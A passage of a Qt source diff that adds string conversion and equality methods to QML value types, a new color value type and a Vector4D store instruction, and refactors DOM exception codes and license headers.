quaternion = qvariant_cast<QQuaternion>(value);
}
+QString QDeclarativeQuaternionValueType::toString() const
+{
+ return QString(QLatin1String("QQuaternion(%1, %2, %3, %4)")).arg(quaternion.scalar()).arg(quaternion.x()).arg(quaternion.y()).arg(quaternion.z());
+}
+
+bool QDeclarativeQuaternionValueType::isEqual(const QVariant &value) const
+{
+ return (QVariant(quaternion) == value);
+}
+
qreal QDeclarativeQuaternionValueType::scalar() const
{
return quaternion.scalar();
@@ -763,6 +866,20 @@ void QDeclarativeMatrix4x4ValueType::setValue(QVariant value)
matrix = qvariant_cast<QMatrix4x4>(value);
}
+QString QDeclarativeMatrix4x4ValueType::toString() const
+{
+ return QString(QLatin1String("QMatrix4x4(%1, %2, %3, %4, %5, %6, %7, %8, %9, %10, %11, %12, %13, %14, %15, %16)"))
+ .arg(matrix(0, 0)).arg(matrix(0, 1)).arg(matrix(0, 2)).arg(matrix(0, 3))
+ .arg(matrix(1, 0)).arg(matrix(1, 1)).arg(matrix(1, 2)).arg(matrix(1, 3))
+ .arg(matrix(2, 0)).arg(matrix(2, 1)).arg(matrix(2, 2)).arg(matrix(2, 3))
+ .arg(matrix(3, 0)).arg(matrix(3, 1)).arg(matrix(3, 2)).arg(matrix(3, 3));
+}
+
+bool QDeclarativeMatrix4x4ValueType::isEqual(const QVariant &value) const
+{
+ return (QVariant(matrix) == value);
+}
+
QDeclarativeEasingValueType::QDeclarativeEasingValueType(QObject *parent)
: QDeclarativeValueType(parent)
{
@@ -791,6 +908,16 @@ void QDeclarativeEasingValueType::setValue(QVariant value)
easing = qvariant_cast<QEasingCurve>(value);
}
+QString QDeclarativeEasingValueType::toString() const
+{
+ return QString(QLatin1String("QEasingCurve(%1, %2, %3, %4)")).arg(easing.type()).arg(easing.amplitude()).arg(easing.overshoot()).arg(easing.period());
+}
+
+bool QDeclarativeEasingValueType::isEqual(const QVariant &value) const
+{
+ return (QVariant(easing) == value);
+}
+
QDeclarativeEasingValueType::Type QDeclarativeEasingValueType::type() const
{
return (QDeclarativeEasingValueType::Type)easing.type();
@@ -861,6 +988,16 @@ void QDeclarativeFontValueType::setValue(QVariant value)
font = qvariant_cast<QFont>(value);
}
+QString QDeclarativeFontValueType::toString() const
+{
+ return QString(QLatin1String("QFont(%1)")).arg(font.toString());
+}
+
+bool QDeclarativeFontValueType::isEqual(const QVariant &value) const
+{
+ return (QVariant(font) == value);
+}
+
QString QDeclarativeFontValueType::family() const
{
@@ -1009,4 +1146,83 @@ void QDeclarativeFontValueType::setWordSpacing(qreal size)
font.setWordSpacing(size);
}
+QDeclarativeColorValueType::QDeclarativeColorValueType(QObject *parent)
+: QDeclarativeValueType(parent)
+{
+}
+
+void QDeclarativeColorValueType::read(QObject *obj, int idx)
+{
+ void *a[] = { &color, 0 };
+ QMetaObject::metacall(obj, QMetaObject::ReadProperty, idx, a);
+}
+
+void QDeclarativeColorValueType::write(QObject *obj, int idx, QDeclarativePropertyPrivate::WriteFlags flags)
+{
+ int status = -1;
+ void *a[] = { &color, 0, &status, &flags };
+ QMetaObject::metacall(obj, QMetaObject::WriteProperty, idx, a);
+}
+
+QVariant QDeclarativeColorValueType::value()
+{
+ return QVariant(color);
+}
+
+void QDeclarativeColorValueType::setValue(QVariant value)
+{
+ color = qvariant_cast<QColor>(value);
+}
+
+QString QDeclarativeColorValueType::toString() const
+{
+ // special case - to maintain behaviour with QtQuick 1.0, we just output normal toString() value.
+ return QVariant(color).toString();
+}
+
+bool QDeclarativeColorValueType::isEqual(const QVariant &value) const
+{
+ return (QVariant(color) == value);
+}
+
+qreal QDeclarativeColorValueType::r() const
+{
+ return color.redF();
+}
+
+qreal QDeclarativeColorValueType::g() const
+{
+ return color.greenF();
+}
+
+qreal QDeclarativeColorValueType::b() const
+{
+ return color.blueF();
+}
+
+qreal QDeclarativeColorValueType::a() const
+{
+ return color.alphaF();
+}
+
+void QDeclarativeColorValueType::setR(qreal r)
+{
+ color.setRedF(r);
+}
+
+void QDeclarativeColorValueType::setG(qreal g)
+{
+ color.setGreenF(g);
+}
+
+void QDeclarativeColorValueType::setB(qreal b)
+{
+ color.setBlueF(b);
+}
+
+void QDeclarativeColorValueType::setA(qreal a)
+{
+ color.setAlphaF(a);
+}
+
QT_END_NAMESPACE
diff --git a/src/declarative/qml/qdeclarativevaluetype_p.h b/src/declarative/qml/qdeclarativevaluetype_p.h
index 5d103a46de..03cb83fdad 100644
--- a/src/declarative/qml/qdeclarativevaluetype_p.h
+++ b/src/declarative/qml/qdeclarativevaluetype_p.h
@@ -67,6 +67,7 @@
#include <QtGui/qmatrix4x4.h>
#include <QtGui/qquaternion.h>
#include <QtGui/qfont.h>
+#include <QtGui/qcolor.h>
QT_BEGIN_NAMESPACE
@@ -79,6 +80,9 @@ public:
virtual void write(QObject *, int, QDeclarativePropertyPrivate::WriteFlags flags) = 0;
virtual QVariant value() = 0;
virtual void setValue(QVariant) = 0;
+
+ virtual QString toString() const = 0;
+ virtual bool isEqual(const QVariant &value) const = 0;
};
class Q_DECLARATIVE_PRIVATE_EXPORT QDeclarativeValueTypeFactory
@@ -113,6 +117,8 @@ public:
virtual void write(QObject *, int, QDeclarativePropertyPrivate::WriteFlags);
virtual QVariant value();
virtual void setValue(QVariant value);
+ virtual QString toString() const;
+ virtual bool isEqual(const QVariant &value) const;
qreal x() const;
qreal y() const;
@@ -135,6 +141,8 @@ public:
virtual void write(QObject *, int, QDeclarativePropertyPrivate::WriteFlags);
virtual QVariant value();
virtual void setValue(QVariant value);
+ virtual QString toString() const;
+ virtual bool isEqual(const QVariant &value) const;
int x() const;
int y() const;
@@ -157,6 +165,8 @@ public:
virtual void write(QObject *, int, QDeclarativePropertyPrivate::WriteFlags);
virtual QVariant value();
virtual void setValue(QVariant value);
+ virtual QString toString() const;
+ virtual bool isEqual(const QVariant &value) const;
qreal width() const;
qreal height() const;
@@ -179,6 +189,8 @@ public:
virtual void write(QObject *, int, QDeclarativePropertyPrivate::WriteFlags);
virtual QVariant value();
virtual void setValue(QVariant value);
+ virtual QString toString() const;
+ virtual bool isEqual(const QVariant &value) const;
int width() const;
int height() const;
@@ -203,6 +215,8 @@ public:
virtual void write(QObject *, int, QDeclarativePropertyPrivate::WriteFlags);
virtual QVariant value();
virtual void setValue(QVariant value);
+ virtual QString toString() const;
+ virtual bool isEqual(const QVariant &value) const;
qreal x() const;
qreal y() const;
@@ -232,6 +246,8 @@ public:
virtual void write(QObject *, int, QDeclarativePropertyPrivate::WriteFlags);
virtual QVariant value();
virtual void setValue(QVariant value);
+ virtual QString toString() const;
+ virtual bool isEqual(const QVariant &value) const;
int x() const;
int y() const;
@@ -259,6 +275,8 @@ public:
virtual void write(QObject *, int, QDeclarativePropertyPrivate::WriteFlags);
virtual QVariant value();
virtual void setValue(QVariant value);
+ virtual QString toString() const;
+ virtual bool isEqual(const QVariant &value) const;
qreal x() const;
qreal y() const;
@@ -282,6 +300,8 @@ public:
virtual void write(QObject *, int, QDeclarativePropertyPrivate::WriteFlags);
virtual QVariant value();
virtual void setValue(QVariant value);
+ virtual QString toString() const;
+ virtual bool isEqual(const QVariant &value) const;
qreal x() const;
qreal y() const;
@@ -308,6 +328,8 @@ public:
virtual void write(QObject *, int, QDeclarativePropertyPrivate::WriteFlags);
virtual QVariant value();
virtual void setValue(QVariant value);
+ virtual QString toString() const;
+ virtual bool isEqual(const QVariant &value) const;
qreal x() const;
qreal y() const;
@@ -336,6 +358,8 @@ public:
virtual void write(QObject *, int, QDeclarativePropertyPrivate::WriteFlags);
virtual QVariant value();
virtual void setValue(QVariant value);
+ virtual QString toString() const;
+ virtual bool isEqual(const QVariant &value) const;
qreal scalar() const;
qreal x() const;
@@ -376,6 +400,8 @@ public:
virtual void write(QObject *, int, QDeclarativePropertyPrivate::WriteFlags);
virtual QVariant value();
virtual void setValue(QVariant value);
+ virtual QString toString() const;
+ virtual bool isEqual(const QVariant &value) const;
qreal m11() const { return matrix(0, 0); }
qreal m12() const { return matrix(0, 1); }
@@ -457,6 +483,8 @@ public:
virtual void write(QObject *, int, QDeclarativePropertyPrivate::WriteFlags);
virtual QVariant value();
virtual void setValue(QVariant value);
+ virtual QString toString() const;
+ virtual bool isEqual(const QVariant &value) const;
Type type() const;
qreal amplitude() const;
@@ -508,6 +536,8 @@ public:
virtual void write(QObject *, int, QDeclarativePropertyPrivate::WriteFlags);
virtual QVariant value();
virtual void setValue(QVariant value);
+ virtual QString toString() const;
+ virtual bool isEqual(const QVariant &value) const;
QString family() const;
void setFamily(const QString &);
@@ -552,6 +582,36 @@ private:
mutable QDeclarativeNullableValue<int> dpi;
};
+class Q_AUTOTEST_EXPORT QDeclarativeColorValueType : public QDeclarativeValueType
+{
+ Q_PROPERTY(qreal r READ r WRITE setR)
+ Q_PROPERTY(qreal g READ g WRITE setG)
+ Q_PROPERTY(qreal b READ b WRITE setB)
+ Q_PROPERTY(qreal a READ a WRITE setA)
+ Q_OBJECT
+public:
+ QDeclarativeColorValueType(QObject *parent = 0);
+
+ virtual void read(QObject *, int);
+ virtual void write(QObject *, int, QDeclarativePropertyPrivate::WriteFlags);
+ virtual QVariant value();
+ virtual void setValue(QVariant value);
+ virtual QString toString() const;
+ virtual bool isEqual(const QVariant &value) const;
+
+ qreal r() const;
+ qreal g() const;
+ qreal b() const;
+ qreal a() const;
+ void setR(qreal);
+ void setG(qreal);
+ void setB(qreal);
+ void setA(qreal);
+
+private:
+ QColor color;
+};
+
QT_END_NAMESPACE
#endif // QDECLARATIVEVALUETYPE_P_H
diff --git a/src/declarative/qml/qdeclarativevme.cpp b/src/declarative/qml/qdeclarativevme.cpp
index 45e4745c1a..6708b60834 100644
--- a/src/declarative/qml/qdeclarativevme.cpp
+++ b/src/declarative/qml/qdeclarativevme.cpp
@@ -586,6 +586,16 @@ QObject *QDeclarativeVME::run(QDeclarativeVMEObjectStack &stack,
instr.propertyIndex, a);
QML_END_INSTR(StoreVector3D)
+ QML_BEGIN_INSTR(StoreVector4D)
+ QObject *target = stack.top();
+ CLEAN_PROPERTY(target, instr.propertyIndex);
+
+ QVector4D *v = (QVector4D *)&instr.vector;
+ void *a[] = { v, 0, &status, &flags };
+ QMetaObject::metacall(target, QMetaObject::WriteProperty,
+ instr.propertyIndex, a);
+ QML_END_INSTR(StoreVector4D)
+
QML_BEGIN_INSTR(StoreObject)
QObject *assignObj = stack.pop();
QObject *target = stack.top();
diff --git a/src/declarative/qml/qdeclarativevmemetaobject.cpp b/src/declarative/qml/qdeclarativevmemetaobject.cpp
index 746c9f650b..bcd46f259e 100644
--- a/src/declarative/qml/qdeclarativevmemetaobject.cpp
+++ b/src/declarative/qml/qdeclarativevmemetaobject.cpp
@@ -458,7 +458,7 @@ int QDeclarativeVMEMetaObject::metaCall(QMetaObject::Call c, int _id, void **a)
}
}
}
- if(c == QMetaObject::ReadProperty || c == QMetaObject::WriteProperty) {
+ if (c == QMetaObject::ReadProperty || c == QMetaObject::WriteProperty || c == QMetaObject::ResetProperty) {
if (id >= propOffset) {
id -= propOffset;
diff --git a/src/declarative/qml/qdeclarativexmlhttprequest.cpp b/src/declarative/qml/qdeclarativexmlhttprequest.cpp
index abcc283610..0eb923a70c 100644
--- a/src/declarative/qml/qdeclarativexmlhttprequest.cpp
+++ b/src/declarative/qml/qdeclarativexmlhttprequest.cpp
@@ -49,6 +49,7 @@
#include "private/qdeclarativeengine_p.h"
#include "private/qdeclarativeexpression_p.h"
#include "qdeclarativeglobal_p.h"
+#include "qv8domerrors_p.h"
#include <QtCore/qobject.h>
#include <QtDeclarative/qjsvalue.h>
@@ -63,33 +64,6 @@
#ifndef QT_NO_XMLSTREAMREADER
-// From DOM-Level-3-Core spec
-// http://www.w3.org/TR/DOM-Level-3-Core/core.html
-#define INDEX_SIZE_ERR 1
-#define DOMSTRING_SIZE_ERR 2
-#define HIERARCHY_REQUEST_ERR 3
-#define WRONG_DOCUMENT_ERR 4
-#define INVALID_CHARACTER_ERR 5
-#define NO_DATA_ALLOWED_ERR 6
-#define NO_MODIFICATION_ALLOWED_ERR 7
-#define NOT_FOUND_ERR 8
-#define NOT_SUPPORTED_ERR 9
-#define INUSE_ATTRIBUTE_ERR 10
-#define INVALID_STATE_ERR 11
-#define SYNTAX_ERR 12
-#define INVALID_MODIFICATION_ERR 13
-#define NAMESPACE_ERR 14
-#define INVALID_ACCESS_ERR 15
-#define VALIDATION_ERR 16
-#define TYPE_MISMATCH_ERR 17
-
-#define V8THROW_DOM(error, string) { \
- v8::Local<v8::Value> v = v8::Exception::Error(v8::String::New(string)); \
- v->ToObject()->Set(v8::String::New("code"), v8::Integer::New(error)); \
- v8::ThrowException(v); \
- return v8::Handle<v8::Value>(); \
-}
-
#define V8THROW_REFERENCE(string) { \
v8::ThrowException(v8::Exception::ReferenceError(v8::String::New(string))); \
return v8::Handle<v8::Value>(); \
@@ -1518,7 +1492,7 @@ static v8::Handle<v8::Value> qmlxmlhttprequest_open(const v8::Arguments &args)
V8THROW_REFERENCE("Not an XMLHttpRequest object");
if (args.Length() < 2 || args.Length() > 5)
- V8THROW_DOM(SYNTAX_ERR, "Incorrect argument count");
+ V8THROW_DOM(DOMEXCEPTION_SYNTAX_ERR, "Incorrect argument count");
QV8Engine *engine = r->engine;
@@ -1529,7 +1503,7 @@ static v8::Handle<v8::Value> qmlxmlhttprequest_open(const v8::Arguments &args)
method != QLatin1String("HEAD") &&
method != QLatin1String("POST") &&
method != QLatin1String("DELETE"))
- V8THROW_DOM(SYNTAX_ERR, "Unsupported HTTP method type");
+ V8THROW_DOM(DOMEXCEPTION_SYNTAX_ERR, "Unsupported HTTP method type");
// Argument 1 - URL
QUrl url = QUrl::fromEncoded(engine->toString(args[1]).toUtf8());
@@ -1539,7 +1513,7 @@ static v8::Handle<v8::Value> qmlxmlhttprequest_open(const v8::Arguments &args)
// Argument 2 - async (optional)
if (args.Length() > 2 && !args[2]->BooleanValue())
- V8THROW_DOM(NOT_SUPPORTED_ERR, "Synchronous XMLHttpRequest calls are not supported");
+ V8THROW_DOM(DOMEXCEPTION_NOT_SUPPORTED_ERR, "Synchronous XMLHttpRequest calls are not supported");
// Argument 3/4 - user/pass (optional)
QString username, password;
@@ -1565,10 +1539,10 @@ static v8::Handle<v8::Value> qmlxmlhttprequest_setRequestHeader(const v8::Argume
V8THROW_REFERENCE("Not an XMLHttpRequest object");
if (args.Length() != 2)
- V8THROW_DOM(SYNTAX_ERR, "Incorrect argument count");
+ V8THROW_DOM(DOMEXCEPTION_SYNTAX_ERR, "Incorrect argument count");
if (r->readyState() != QDeclarativeXMLHttpRequest::Opened || r->sendFlag())
- V8THROW_DOM(INVALID_STATE_ERR, "Invalid state");
+ V8THROW_DOM(DOMEXCEPTION_INVALID_STATE_ERR, "Invalid state");
QV8Engine *engine = r->engine;
@@ -1615,7 +1589,7 @@ static v8::Handle<v8::Value> qmlxmlhttprequest_send(const v8::Arguments &args)
if (r->readyState() != QDeclarativeXMLHttpRequest::Opened ||
r->sendFlag())
- V8THROW_DOM(INVALID_STATE_ERR, "Invalid state");
+ V8THROW_DOM(DOMEXCEPTION_INVALID_STATE_ERR, "Invalid state");
QByteArray data;
if (args.Length() > 0)
@@ -1642,12 +1616,12 @@ static v8::Handle<v8::Value> qmlxmlhttprequest_getResponseHeader(const v8::Argum
QV8Engine *engine = r->engine;
if (args.Length() != 1)
- V8THROW_DOM(SYNTAX_ERR, "Incorrect argument count");
+ V8THROW_DOM(DOMEXCEPTION_SYNTAX_ERR, "Incorrect argument count");
if (r->readyState() != QDeclarativeXMLHttpRequest::Loading &&
r->readyState() != QDeclarativeXMLHttpRequest::Done &&
r->readyState() != QDeclarativeXMLHttpRequest::HeadersReceived)
- V8THROW_DOM(INVALID_STATE_ERR, "Invalid state");
+ V8THROW_DOM(DOMEXCEPTION_INVALID_STATE_ERR, "Invalid state");
return engine->toString(r->header(engine->toString(args[0])));
}
@@ -1661,12 +1635,12 @@ static v8::Handle<v8::Value> qmlxmlhttprequest_getAllResponseHeaders(const v8::A
QV8Engine *engine = r->engine;
if (args.Length() != 0)
- V8THROW_DOM(SYNTAX_ERR, "Incorrect argument count");
+ V8THROW_DOM(DOMEXCEPTION_SYNTAX_ERR, "Incorrect argument count");
if (r->readyState() != QDeclarativeXMLHttpRequest::Loading &&
r->readyState() != QDeclarativeXMLHttpRequest::Done &&
r->readyState() != QDeclarativeXMLHttpRequest::HeadersReceived)
- V8THROW_DOM(INVALID_STATE_ERR, "Invalid state");
+ V8THROW_DOM(DOMEXCEPTION_INVALID_STATE_ERR, "Invalid state");
return engine->toString(r->headers());
}
@@ -1691,7 +1665,7 @@ static v8::Handle<v8::Value> qmlxmlhttprequest_status(v8::Local<v8::String> prop
if (r->readyState() == QDeclarativeXMLHttpRequest::Unsent ||
r->readyState() == QDeclarativeXMLHttpRequest::Opened)
- V8THROW_DOM(INVALID_STATE_ERR, "Invalid state");
+ V8THROW_DOM(DOMEXCEPTION_INVALID_STATE_ERR, "Invalid state");
if (r->errorFlag())
return v8::Integer::New(0);
@@ -1710,7 +1684,7 @@ static v8::Handle<v8::Value> qmlxmlhttprequest_statusText(v8::Local<v8::String>
if (r->readyState() == QDeclarativeXMLHttpRequest::Unsent ||
r->readyState() == QDeclarativeXMLHttpRequest::Opened)
- V8THROW_DOM(INVALID_STATE_ERR, "Invalid state");
+ V8THROW_DOM(DOMEXCEPTION_INVALID_STATE_ERR, "Invalid state");
if (r->errorFlag())
return engine->toString(QString());
@@ -1812,27 +1786,6 @@ void *qt_add_qmlxmlhttprequest(QV8Engine *engine)
xmlhttprequest->Set(v8::String::New("DONE"), v8::Integer::New(4), attributes);
engine->global()->Set(v8::String::New("XMLHttpRequest"), xmlhttprequest->GetFunction());
- // DOM Exception
- v8::Local<v8::Object> domexception = v8::Object::New();
- domexception->Set(v8::String::New("INDEX_SIZE_ERR"), v8::Integer::New(INDEX_SIZE_ERR), attributes);
- domexception->Set(v8::String::New("DOMSTRING_SIZE_ERR"), v8::Integer::New(DOMSTRING_SIZE_ERR), attributes);
- domexception->Set(v8::String::New("HIERARCHY_REQUEST_ERR"), v8::Integer::New(HIERARCHY_REQUEST_ERR), attributes);
- domexception->Set(v8::String::New("WRONG_DOCUMENT_ERR"), v8::Integer::New(WRONG_DOCUMENT_ERR), attributes);
- domexception->Set(v8::String::New("INVALID_CHARACTER_ERR"), v8::Integer::New(INVALID_CHARACTER_ERR), attributes);
- domexception->Set(v8::String::New("NO_DATA_ALLOWED_ERR"), v8::Integer::New(NO_DATA_ALLOWED_ERR), attributes);
- domexception->Set(v8::String::New("NO_MODIFICATION_ALLOWED_ERR"), v8::Integer::New(NO_MODIFICATION_ALLOWED_ERR), attributes);
- domexception->Set(v8::String::New("NOT_FOUND_ERR"), v8::Integer::New(NOT_FOUND_ERR), attributes);
- domexception->Set(v8::String::New("NOT_SUPPORTED_ERR"), v8::Integer::New(NOT_SUPPORTED_ERR), attributes);
- domexception->Set(v8::String::New("INUSE_ATTRIBUTE_ERR"), v8::Integer::New(INUSE_ATTRIBUTE_ERR), attributes);
- domexception->Set(v8::String::New("INVALID_STATE_ERR"), v8::Integer::New(INVALID_STATE_ERR), attributes);
- domexception->Set(v8::String::New("SYNTAX_ERR"), v8::Integer::New(SYNTAX_ERR), attributes);
- domexception->Set(v8::String::New("INVALID_MODIFICATION_ERR"), v8::Integer::New(INVALID_MODIFICATION_ERR), attributes);
- domexception->Set(v8::String::New("NAMESPACE_ERR"), v8::Integer::New(NAMESPACE_ERR), attributes);
- domexception->Set(v8::String::New("INVALID_ACCESS_ERR"), v8::Integer::New(INVALID_ACCESS_ERR), attributes);
- domexception->Set(v8::String::New("VALIDATION_ERR"), v8::Integer::New(VALIDATION_ERR), attributes);
- domexception->Set(v8::String::New("TYPE_MISMATCH_ERR"), v8::Integer::New(TYPE_MISMATCH_ERR), attributes);
- engine->global()->Set(v8::String::New("DOMException"), domexception);
-
QDeclarativeXMLHttpRequestData *data = new QDeclarativeXMLHttpRequestData;
return data;
}
diff --git a/src/declarative/qml/qintrusivelist.cpp b/src/declarative/qml/qintrusivelist.cpp
index a94f5152a3..dabb893e91 100644
--- a/src/declarative/qml/qintrusivelist.cpp
+++ b/src/declarative/qml/qintrusivelist.cpp
@@ -113,6 +113,12 @@ Remove \a object from the list. \a object must not be null.
*/
/*!
+\fn bool QIntrusiveList::contains(N *object) const
+
+Returns true if the list contains \a object; otherwise returns false.
+*/
+
+/*!
\fn N *QIntrusiveList::first() const
Returns the first entry in this list, or null if the list is empty.
diff --git a/src/declarative/qml/qintrusivelist_p.h b/src/declarative/qml/qintrusivelist_p.h
index c1ea80a767..717b11c344 100644
--- a/src/declarative/qml/qintrusivelist_p.h
+++ b/src/declarative/qml/qintrusivelist_p.h
@@ -68,6 +68,7 @@ public:
inline bool isEmpty() const;
inline void insert(N *n);
inline void remove(N *n);
+ inline bool contains(N *) const;
class iterator {
public:
@@ -202,6 +203,18 @@ void QIntrusiveList<N, member>::remove(N *n)
}
template<class N, QIntrusiveListNode N::*member>
+bool QIntrusiveList<N, member>::contains(N *n) const
+{
+ QIntrusiveListNode *nnode = __first;
+ while (nnode) {
+ if (nodeToN(nnode) == n)
+ return true;
+ nnode = nnode->_next;
+ }
+ return false;
+}
+
+template<class N, QIntrusiveListNode N::*member>
N *QIntrusiveList<N, member>::first() const
{
return __first?nodeToN(__first):0;
diff --git a/src/declarative/qml/v8/qhashedstring.cpp b/src/declarative/qml/v8/qhashedstring.cpp
index 4a23e3b7dd..2e2af98ff4 100644
--- a/src/declarative/qml/v8/qhashedstring.cpp
+++ b/src/declarative/qml/v8/qhashedstring.cpp
@@ -7,29 +7,29 @@
** This file is part of the QtDeclarative module of the Qt Toolkit.
**
** $QT_BEGIN_LICENSE:LGPL$
-** No Commercial Usage
-** This file contains pre-release code and may not be distributed.
-** You may use this file in accordance with the terms and conditions
-** contained in the Technology Preview License Agreement accompanying
-** this package.
-**
** GNU Lesser General Public License Usage
-** Alternatively, this file may be used under the terms of the GNU Lesser
-** General Public License version 2.1 as published by the Free Software
-** Foundation and appearing in the file LICENSE.LGPL included in the
-** packaging of this file. Please review the following information to
-** ensure the GNU Lesser General Public License version 2.1 requirements
-** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
**
** In addition, as a special exception, Nokia gives you certain additional
-** rights. These rights are described in the Nokia Qt LGPL Exception
+** rights. These rights are described in the Nokia Qt LGPL Exception
** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
**
-** If you have questions regarding the use of this file, please contact
-** Nokia at qt-info@nokia.com.
-**
-**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
**
**
**
diff --git a/src/declarative/qml/v8/qhashedstring_p.h b/src/declarative/qml/v8/qhashedstring_p.h
index 143bd0b995..e0ca1d466a 100644
--- a/src/declarative/qml/v8/qhashedstring_p.h
+++ b/src/declarative/qml/v8/qhashedstring_p.h
@@ -7,29 +7,29 @@
** This file is part of the QtDeclarative module of the Qt Toolkit.
**
** $QT_BEGIN_LICENSE:LGPL$
-** No Commercial Usage
-** This file contains pre-release code and may not be distributed.
-** You may use this file in accordance with the terms and conditions
-** contained in the Technology Preview License Agreement accompanying
-** this package.
-**
** GNU Lesser General Public License Usage
-** Alternatively, this file may be used under the terms of the GNU Lesser
-** General Public License version 2.1 as published by the Free Software
-** Foundation and appearing in the file LICENSE.LGPL included in the
-** packaging of this file. Please review the following information to
-** ensure the GNU Lesser General Public License version 2.1 requirements
-** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
**
** In addition, as a special exception, Nokia gives you certain additional
-** rights. These rights are described in the Nokia Qt LGPL Exception
+** rights. These rights are described in the Nokia Qt LGPL Exception
** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
**
-** If you have questions regarding the use of this file, please contact
-** Nokia at qt-info@nokia.com.
-**
-**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
**
**
**
diff --git a/src/declarative/qml/v8/qjsconverter_p.h b/src/declarative/qml/v8/qjsconverter_p.h
index 4aec472c7a..c42381bc55 100644
--- a/src/declarative/qml/v8/qjsconverter_p.h
+++ b/src/declarative/qml/v8/qjsconverter_p.h
@@ -28,6 +28,7 @@
#include <QtCore/qglobal.h>
#include <QtCore/qnumeric.h>
#include <QtCore/qstring.h>
+#include <QtCore/qstringlist.h>
#include <QtCore/qvarlengtharray.h>
#include <QtCore/qregexp.h>
#include <QtCore/qdatetime.h>
@@ -70,7 +71,7 @@ public:
return qstr;
}
- static v8::Handle<v8::String> toString(const QString& string)
+ static v8::Local<v8::String> toString(const QString& string)
{
return v8::String::New(reinterpret_cast<const uint16_t*>(string.data()), string.size());
}
diff --git a/src/declarative/qml/v8/qjsengine.cpp b/src/declarative/qml/v8/qjsengine.cpp
index e80fcb4e7e..3db7fc40e0 100644
--- a/src/declarative/qml/v8/qjsengine.cpp
+++ b/src/declarative/qml/v8/qjsengine.cpp
@@ -52,6 +52,97 @@ Q_DECLARE_METATYPE(QJSValue)
Q_DECLARE_METATYPE(QObjectList)
Q_DECLARE_METATYPE(QList<int>)
+/*!
+ \since 5.0
+ \class QJSEngine
+
+ \brief The QJSEngine class provides an environment for evaluating JavaScript code.
+
+ \ingroup qtjavascript
+ \mainclass
+
+ \section1 Evaluating Scripts
+
+ Use evaluate() to evaluate script code.
+
+ \snippet doc/src/snippets/code/src_script_qjsengine.cpp 0
+
+ evaluate() returns a QJSValue that holds the result of the
+ evaluation. The QJSValue class provides functions for converting
+ the result to various C++ types (e.g. QJSValue::toString()
+ and QJSValue::toNumber()).
+
+ The following code snippet shows how a script function can be
+ defined and then invoked from C++ using QJSValue::call():
+
+ \snippet doc/src/snippets/code/src_script_qjsengine.cpp 1
+
+ As can be seen from the above snippets, a script is provided to the
+ engine in the form of a string. One common way of loading scripts is
+ by reading the contents of a file and passing it to evaluate():
+
+ \snippet doc/src/snippets/code/src_script_qjsengine.cpp 2
+
+ Here we pass the name of the file as the second argument to
+ evaluate(). This does not affect evaluation in any way; the second
+ argument is a general-purpose string that is used to identify the
+ script for debugging purposes (for example, our filename will now
+ show up in any uncaughtExceptionBacktrace() involving the script).
+
+ \section1 Engine Configuration
+
+ The globalObject() function returns the \bold {Global Object}
+ associated with the script engine. Properties of the Global Object
+ are accessible from any script code (i.e. they are global
+ variables). Typically, before evaluating "user" scripts, you will
+ want to configure a script engine by adding one or more properties
+ to the Global Object:
+
+ \snippet doc/src/snippets/code/src_script_qjsengine.cpp 3
+
+ Adding custom properties to the scripting environment is one of the
+ standard means of providing a scripting API that is specific to your
+ application. Usually these custom properties are objects created by
+ the newQObject() or newObject() functions.
+
+ \section1 Script Exceptions
+
+ evaluate() can throw a script exception (e.g. due to a syntax
+ error); in that case, the return value is the value that was thrown
+ (typically an \c{Error} object). You can check whether the
+ evaluation caused an exception by calling hasUncaughtException(). In
+ that case, you can call toString() on the error object to obtain an
+ error message. The current uncaught exception is also available
+ through uncaughtException().
+ Calling clearExceptions() will cause any uncaught exceptions to be
+ cleared.
+
+ \snippet doc/src/snippets/code/src_script_qjsengine.cpp 4
+
+ \section1 Script Object Creation
+
+ Use newObject() to create a JavaScript object; this is the
+ C++ equivalent of the script statement \c{new Object()}. You can use
+ the object-specific functionality in QJSValue to manipulate the
+ script object (e.g. QJSValue::setProperty()). Similarly, use
+ newArray() to create a JavaScript array object. Use newDate() to
+ create a \c{Date} object, and newRegExp() to create a \c{RegExp}
+ object.
+
+ \section1 QObject Integration
+
+ Use newQObject() to wrap a QObject (or subclass)
+ pointer. newQObject() returns a proxy script object; properties,
+ children, and signals and slots of the QObject are available as
+ properties of the proxy object. No binding code is needed because it
+ is done dynamically using the Qt meta object system.
+
+ \snippet doc/src/snippets/code/src_script_qjsengine.cpp 5
+
+ \sa QJSValue, {Making Applications Scriptable}
+
+*/
+
QT_BEGIN_NAMESPACE
@@ -102,6 +193,11 @@ QJSEngine::~QJSEngine()
}
/*!
+ \fn QV8Engine *QJSEngine::handle() const
+ \internal
+*/
+
+/*!
Returns true if the last script evaluation resulted in an uncaught
exception; otherwise returns false.
@@ -201,6 +297,11 @@ QJSValue QJSEngine::evaluate(const QString& program, const QString& fileName, in
return QJSValuePrivate::get(d->evaluate(program, fileName, lineNumber));
}
+/*!
+ Returns a QJSValue of the primitive type Null.
+
+ \sa nullValue()
+*/
QJSValue QJSEngine::nullValue()
{
